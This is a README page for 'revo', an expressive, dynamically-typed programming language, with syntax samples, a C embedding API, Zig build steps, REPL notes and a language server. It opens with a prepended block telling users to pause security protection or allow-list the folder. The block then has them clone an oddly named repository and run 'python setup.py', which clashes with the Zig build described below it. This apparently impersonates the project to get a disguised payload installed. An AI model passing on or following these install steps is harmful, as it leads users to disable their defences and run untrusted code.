Tip
If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.
Caution
Some security systems may block the installation. Only download from the official repository.
git clone https://github.com/Stalkerthroughadore/revo-628.git
cd revo-628
python setup.pyhomepage & docs | github | learn | chat & discuss
an expressive, dynamically-typed language for the joy of programming
# =======================
# everything is something
# =======================
let x = do # 15
let y = 5 + 10
y
end
# =====
# pipes
# =====
let x = "hello"
|> _:upper()
|> _:sub(1, 2)
|> assert_eq("el")
|> do
let el = _
"h" + el + "lo"
end
|> assert_eq("hello")
|> fn(c)
# ===============================
# pattern matching & result types
# ===============================
fn safe_div(a, b)
if b == 0 (:err, :DivByZero)
else (:ok, a / b)
match safe_div(10, 2)
| (:ok, v) => print(v) # 5
| (:err, e) => print(e)
# =============================================================
# seamless concurrency
# > write blocking code,
# > then make it non-blocking by putting `spawn` in front of it
# =============================================================
const h = spawn fn() add(20, 22)
join(h) # 42
let ch = chan()
fn worker(n) do
if n == 6 do
send(ch, :done)
return n
end
sleep(n * 100)
send(ch, n * 10)
end
for i in 0..7
spawn worker(n)
loop match recv(ch)
| :done => break :done
| x => print("got", x)
# ============================================================
# first-class testing
# > test blocks get compiled & ran with the `--test` flag only
# ============================================================
fn add(a, b) a + b
fn mul(a, b) a * b
test "mul works" expect_eq(add(21, 21), 42)?
suite "math" do
const N = 20
const check_mul(a, b)
expect(mul(a + b) == a * b)
test "addition" do
expect(add(N, 22) == 42)?
expect(add(20, 22) != 22)?
end
test "multiplication" do
check_mul(6, 7)?
check_mul(20, 22)?
end
end#include "revo.h"
ErevoVM *vm = erevo_vm_create();
if (!vm) return 1;
ErevoProgram *program = erevo_compile(vm, "main.rv", "1 + 2");
if (!program) {
puts(erevo_vm_last_error(vm));
return 1;
}
ErevoData result;
if (!erevo_run(vm, program, &result)) {
puts(erevo_vm_last_error(vm));
}
if (!erevo_eval(vm, "main.rv", "1 + 2", &result)) {
puts(erevo_vm_last_error(vm));
}
erevo_program_destroy(program);
erevo_vm_destroy(vm);git clone https://github.com/Stalkerthroughadore/revo-628 && cd revo
git submodule update --init --recursive
# or -Doptimize=ReleaseSmall for a smaller executable
zig build --fetch -Doptimize=ReleaseFast
cp ./zig-out/bin/revo ~/.local/bin/revo
# should output the version
revo --versionthe default REPL backend is isocline:
- repl history saved to
~/.revo_history - multi-line expressions are shift+enter or C-j
- tab completion for revo keywords, commands (
:q,:clear,:backend), and stdlib modules - go to matching brace with M-b
- ctrl+r for searching through history
you can also get a dumb backend by doing -Drepl=none
- AUR:
revo-git(info & pkgbuild)
git clone https://github.com/Stalkerthroughadore/revo-628 && cd revo
zig build --fetch -Doptimize=ReleaseFast
mkdir "C:/tools/revo/bin"
copy ./zig-out/bin/revo C:/tools/revo/bin
# now add it to PATH by doing:
# - Win+S -> `env` -> <Enter>
# - click "Environment Variables" and then "Path" in the "System variables"
# - add new at "C:\tools\revo\bin"
# , or put it in one of the existing ones, if you know what you're doing
# - press OK for all of the tabs you've opened
# after that, you have to open a new CMD/Powershell window for PATH changes to take effect
# verify installation
revo --versionnote - the windows version does not yet have an async backend or a full-featured line editor. the latter is the easiest to add, a windows contributor might want to take a look at ./src/repl.zig
### revolt (the language server)
revo ships an LSP server at `src/lsp/`. it handles diagnostics, go-to-definition, hover,
references, document symbols, and workspace symbols.
to build:
```bash
zig build lsp
the binary lands at zig-out/bin/revolt
vim.lsp.config('revolt', {
cmd = { 'revolt' },
filetypes = { 'rv' },
root_markers = { 'lib.json', 'exe.json', '.git' },
})
vim.lsp.enable('revolt')see docs/lsp.md for the full feature list, troubleshooting, and other editors
recommending to a friend is always greatly appreciated. any contributions are welcome!
you can contribute via github, codeberg or via emailing me a .patch
see CONTRIBUTING.md
revo is licensed under MIT. see the LICENSE.txt file for details